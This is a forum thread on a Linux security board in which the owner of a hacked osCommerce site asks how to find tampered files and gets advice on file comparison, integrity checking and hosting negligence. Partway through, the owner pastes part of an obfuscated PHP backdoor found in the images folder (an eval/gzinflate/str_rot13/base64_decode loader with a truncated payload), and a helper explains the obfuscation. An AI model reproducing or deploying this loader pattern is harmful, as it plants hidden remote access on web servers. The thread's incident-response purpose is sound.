LinuxQuestions.org

LinuxQuestions.org (/questions/)
-   Linux - Security (https://www.linuxquestions.org/questions/linux-security-4/)
-   -   file compare (https://www.linuxquestions.org/questions/linux-security-4/file-compare-876678/)

qwertyjjj 04-23-2011 11:26 AM

file compare
 
I had a hack on my oscommerce website recently.
I have put in the relevant security patches but I need to check whether the hacker left any code changes in my files.
What is a good file comparison software for linux?
I need it to scan though the current files and folders and compare it the original default oscommerce installation so I can check the code.

ozanbaba 04-23-2011 11:29 AM

fslint can do a byte by byte comperation and will list duplicates. You can do a diff combo inside a loop as well.

Hangdog42 04-23-2011 12:39 PM

If this is CentOS as in your profile, then use rpm -V to verify the integrity of the installed packages. Check out the rpm man page for options that might be useful.

For things not covered by rpm -V, you've got a problem unless you had previously installed something like Samhain, AIDE or OSSEC and had it create a database of file hashes.

By the way, why do you believe you can trust this machine enough to leave it online?

qwertyjjj 04-23-2011 12:42 PM

Quote:

Originally Posted by Hangdog42 (Post 4333735)
If this is CentOS as in your profile, then use rpm -V to verify the integrity of the installed packages. Check out the rpm man page for options that might be useful.

For things not covered by rpm -V, you've got a problem unless you had previously installed something like Samhain, AIDE or OSSEC and had it create a database of file hashes.

By the way, why do you believe you can trust this machine enough to leave it online?

It's not the machine, it's a separate web folder stored on a hosting site.
I need to compare the existing files now that it has been patched. I've virus checked all the files and used an add on called sitemon to check for files with eval system or base64decode in them but I need to check for any diffs now.
Also, oscommerce is not a centos or Linux package as far as I know, it's a PHP downloadable template site isn't it?
Furthermore, I need to get the 2.2 rc1 default from somewhere and am not sure where - OSC don't list it on their website anymore. I need to do this before I can upgrade versions.

Hangdog42 04-23-2011 01:04 PM

Quote:

Originally Posted by qwertyjjj
It's not the machine, it's a separate web folder stored on a hosting site.

Sorry, I don't mean to derail this, but I'm not sure your looking at this the right way. If your site was cracked, that means the bad guys has some level of access to the machine itself, not just oscommerce. They may have only gotten Apache level access, but I would be very hesitant to assume that. Has there been any investigation into how the machine was compromised?

Quote:

Originally Posted by qwertyjjj
I need to compare the existing files now that it has been patched. I've virus checked all the files and used an add on called sitemon to check for files with eval system or base64decode in them but I need to check for any diffs now.

If they managed to get out of your oscommerce folder, all of this is pretty useless.

Quote:

Originally Posted by qwertyjjj
Also, oscommerce is not a centos or Linux package as far as I know, it's a PHP downloadable template site isn't it?

I'm not familiar with oscommerce, although a quick look at the website suggests you are right. Personally, I find that very disturbing since a PHP misconfiguration can cause a lot of security issues.

Which all brings me back to the idea that since you are using this for commerce, you had better be 100% sure that you have detected and contained the entire compromise, not just the symptoms. Do you have any assurances that you have done so?

qwertyjjj 04-23-2011 01:59 PM

Quote:

Originally Posted by Hangdog42 (Post 4333752)
Sorry, I don't mean to derail this, but I'm not sure your looking at this the right way. If your site was cracked, that means the bad guys has some level of access to the machine itself, not just oscommerce. They may have only gotten Apache level access, but I would be very hesitant to assume that. Has there been any investigation into how the machine was compromised?



If they managed to get out of your oscommerce folder, all of this is pretty useless.



I'm not familiar with oscommerce, although a quick look at the website suggests you are right. Personally, I find that very disturbing since a PHP misconfiguration can cause a lot of security issues.

Which all brings me back to the idea that since you are using this for commerce, you had better be 100% sure that you have detected and contained the entire compromise, not just the symptoms. Do you have any assurances that you have done so?

It's on a shared webserver...hosted.

FWIW, I have just used Meld viewer to compare differences in files and it seems no other files were compromised on the server just 1 php file placed into the images folder. All password etc have been changed so will see if it happens again.

Hangdog42 04-23-2011 02:23 PM

Quote:

Originally Posted by qwertyjjj
It's on a shared webserver...hosted.

That's fine, but has anybody actually investigated how far this compromise went? Or even how it happened in the first place? Does the hosting service know about this? From the reading I've been doing on oscommerce, it has most definitely had its share of security problems.

Quote:

Originally Posted by qwertyjjj
FWIW, I have just used Meld viewer to compare differences in files and it seems no other files were compromised on the server just 1 php file placed into the images folder.

That seems to be an exceedingly common symptom of trouble on oscommerce. And the question still stands: What does that script do? How did it get there?

Quote:

Originally Posted by qwertyjjj
All password etc have been changed so will see if it happens again.

And how will you know if something different is happening?

qwertyjjj 04-23-2011 02:34 PM

Quote:

Originally Posted by Hangdog42 (Post 4333806)
That's fine, but has anybody actually investigated how far this compromise went? Or even how it happened in the first place? Does the hosting service know about this? From the reading I've been doing on oscommerce, it has most definitely had its share of security problems.



That seems to be an exceedingly common symptom of trouble on oscommerce. And the question still stands: What does that script do? How did it get there?



And how will you know if something different is happening?

The hosting company doesn't care, they just say use a virus checker and change the ftp login - LOL. I then asked them for the logs and they say they don;t send logs to customers so I am left with having to replace the entire folder or identify any file differences, of which there don't seem to be any.
It is likely this was an admin bypass script but I can't be sure.

Here are snippets of the 2 files:
Code:

<?php
$language = 'eng';
$auth    = 0;
$name    = ''; // md5 Login
$pass    = ''; // md5 Password
/**************************************************************************************************************************************************************/
error_reporting(0);
$rhs="7P14s6NLkiCKfr5uFv8hOqbOcdZEaQISkkNySJ3m/RAgQAKBpuekViABEhJtI3Z57mK/7gs99t4R0dUz03Tsmp2Mqp2I9fDly5e7L2pfD/5nyH7fWdfzL3/78kiMBNnTPfHrYp8//QnS19N8ZtoXmJUdj9u/Q0d8nc33+T7+tdynpEdpXBe/H47T/RFX/fRKfP37X7P5NPn750J/PebHb/73n35a58f55vzzSno0ZX7XBsPR1z//+tOXf/7y069/urf+60J/perSQ+1jvBbzL8fraf63r8f55VXFh8NKyJiVyfWX42cGmf/ty6LcHP9sMV3nxfUv5/k+mWGmv5G0UH6b/6W3vfwWl1K5/8t/Esm/33PTa5Xuy9Mm+ed7U4v8++3Lf//86QG0ypNw9heGpv+P377Myn0y338ofEKsy9Hb4xdze3wWJWv/5UMWbEVQWr78t2Ka/fKfdZph0/Ri723wUixC+3y+/2/Pq3sO6QeH4O8o9Mi/j4gp5N8z9d4DwIz+EXOv+sVne5j/5fHjt+00VvJaV/rVgtpA1nAeQot/nhZsuvnLOkKSb/4bZ4z/i5liSb984f8S5If8OId+fmz07o7l/wcH7p+TbFzup8e83Pzly6bczAlM+F835QMA/nzB+Dfq
...goes on for about 100 lines like this with random letters
eval(gzinflate(str_rot13(base64_decode($rhs))));
?>

other in pastedump as it is longer: http://www.pastedump.com/paste/1391

Because of the hosting company, I can't tell what was created and where or whether they were just uploaded but not actually accessed.
The files were created with 777 and I can't see any others like that plus I did a file diff check and it seems to be the only folder with changes (images folder).

Noway2 04-23-2011 04:34 PM

The eval, gzinflate, str_rot13 is a commonly used tactic to obfuscate code, as indicated by a simple Google search. This code, may have actually been executed on this system, which is a real red-flag cause for alarm. Furthermore, this code sets "auth" to zero, which suggests an attempt to execute with root privilege and sets error_reporting to 0, which suggests that it is an attempt to get it to execute silently.

One of the primary problems I have with this situation is that a file was uploaded to the server, which presumably was protected with sufficient permissions. Apparently the hosting provider is simply assuming that it was a password crack (btw, saying that you chose a weak password and that it is your fault), and running a "virus" scan. Quite frankly, "viruses" should be the least of the concerns.

There is a real possibility that this machine has been compromised well beyond your web page folder. It is entirely possible that a known exploit was used and determining this will require an in-depth investigation including an in-depth review of the logs, the state of the connections, the validity of the OS itself, etc. In other words all of the things that are done on a possibly compromised system.

It is your responsibility to insist that these things be done and to your satisfaction. Since you are simply a 'web folder' customer, you might want to start with a review of your contract with the hosting provider to see what forms of redress you have with them. To me, it looks like they are being supremely negligent in their duty. I would also consider moving your service somewhere else, unless this issue is resolved to your satisfaction.

At a minimum, you indicated that this file had 777 permissions. May I ask, who the owner of the file was and does this in any way indicate a more sever compromise than an ftp password crack?

qwertyjjj 04-23-2011 04:48 PM

Quote:

Originally Posted by Noway2 (Post 4333889)
The eval, gzinflate, str_rot13 is a commonly used tactic to obfuscate code, as indicated by a simple Google search. This code, may have actually been executed on this system, which is a real red-flag cause for alarm. Furthermore, this code sets "auth" to zero, which suggests an attempt to execute with root privilege and sets error_reporting to 0, which suggests that it is an attempt to get it to execute silently.

One of the primary problems I have with this situation is that a file was uploaded to the server, which presumably was protected with sufficient permissions. Apparently the hosting provider is simply assuming that it was a password crack (btw, saying that you chose a weak password and that it is your fault), and running a "virus" scan. Quite frankly, "viruses" should be the least of the concerns.

There is a real possibility that this machine has been compromised well beyond your web page folder. It is entirely possible that a known exploit was used and determining this will require an in-depth investigation including an in-depth review of the logs, the state of the connections, the validity of the OS itself, etc. In other words all of the things that are done on a possibly compromised system.

It is your responsibility to insist that these things be done and to your satisfaction. Since you are simply a 'web folder' customer, you might want to start with a review of your contract with the hosting provider to see what forms of redress you have with them. To me, it looks like they are being supremely negligent in their duty. I would also consider moving your service somewhere else, unless this issue is resolved to your satisfaction.

At a minimum, you indicated that this file had 777 permissions. May I ask, who the owner of the file was and does this in any way indicate a more sever compromise than an ftp password crack?

I don't have any ftp accounts with access to the web root so it couldn't have got there by that route. Also, root access is not possible on the webservers unless a hacker got in by some other route through another shared site.
The host has been hacked before but it seems unlikely it was that route seeing as it targeted the images oscommerce folder.
All files on the server are owned by "You" and so was this file, which means it was likely created through the admin bypass options or somehow hacking in through a script.
The host company refuses to look into it so I can't track it - I can't see any other compromises and have carried out as much security blocking, renaming folders, etc, as I can so I'll have to wait and see.

Hangdog42 04-23-2011 06:52 PM

Quote:

Originally Posted by qwertyjjj
The host company refuses to look into it so I can't track it - I can't see any other compromises and have carried out as much security blocking, renaming folders, etc, as I can so I'll have to wait and see.

Probably talking above my pay grade, but 1) I'd look into a new hosting company and 2) if you're accepting and storing credit cards, you could be in for a world of hurt if that information is compromised. I don't know about UK law, but in the US there are some pretty stiff regulations that have to be followed.

Quote:

Originally Posted by Noway2
May I ask, who the owner of the file was and does this in any way indicate a more sever compromise than an ftp password crack?

I don't think this is an FTP crack/guess. From the little digging I've done so far, oscommerce isn't a particularly secure application, and one of the more frequently reported symptoms is uploading strange files to the image directory. I suspect some poor PHP coding practices are leaving oscommerce vulnerable without any additional help.

qwertyjjj 04-23-2011 07:36 PM

Quote:

Originally Posted by Hangdog42 (Post 4333970)
Probably talking above my pay grade, but 1) I'd look into a new hosting company and 2) if you're accepting and storing credit cards, you could be in for a world of hurt if that information is compromised. I don't know about UK law, but in the US there are some pretty stiff regulations that have to be followed.



I don't think this is an FTP crack/guess. From the little digging I've done so far, oscommerce isn't a particularly secure application, and one of the more frequently reported symptoms is uploading strange files to the image directory. I suspect some poor PHP coding practices are leaving oscommerce vulnerable without any additional help.

No, I purposely leave all credit card info and security up to the payment card site, it's better that way.

Noway2 04-24-2011 06:11 AM

Quote:

Originally Posted by Hangdog42 (Post 4333970)
I don't think this is an FTP crack/guess. From the little digging I've done so far, oscommerce isn't a particularly secure application, and one of the more frequently reported symptoms is uploading strange files to the image directory. I suspect some poor PHP coding practices are leaving oscommerce vulnerable without any additional help.

I don't think it is either, but I think it is what the hosting provider is trying to claim at least as their default answer. The benefit of taking this stance is that it makes it the customer's fault. I also second your motion of get a new provider. This thread really raises the importance of reviewing and understanding the govern terms regarding compromises BEFORE signing up with the provider.

Hangdog42 04-24-2011 06:33 AM

Quote:

Originally Posted by Noway2
but I think it is what the hosting provider is trying to claim at least as their default answer. The benefit of taking this stance is that it makes it the customer's fault.

I agree, it is the lazy way out. What I also don't like about this arrangement is that qwertyjjj probably has no control over global PHP configuration. If the provider is this negligent about following up on intrusions, is there any reason to be even moderately hopeful that PHP is secured? If there are lots of PHP applications running, I bet they set it so it doesn't generate complaints, which probably means turning off a lot of the security.

qwertyjjj 04-24-2011 06:33 AM

Also by putting this in the images folder, it prevents any php files from being run:
Options -Indexes

<FilesMatch "\.(php([0-9]|s)?|s?p?html|cgi|pl|exe)$">
Order Deny,Allow
Deny from all
</FilesMatch>


All times are GMT -5. The time now is 11:22 AM.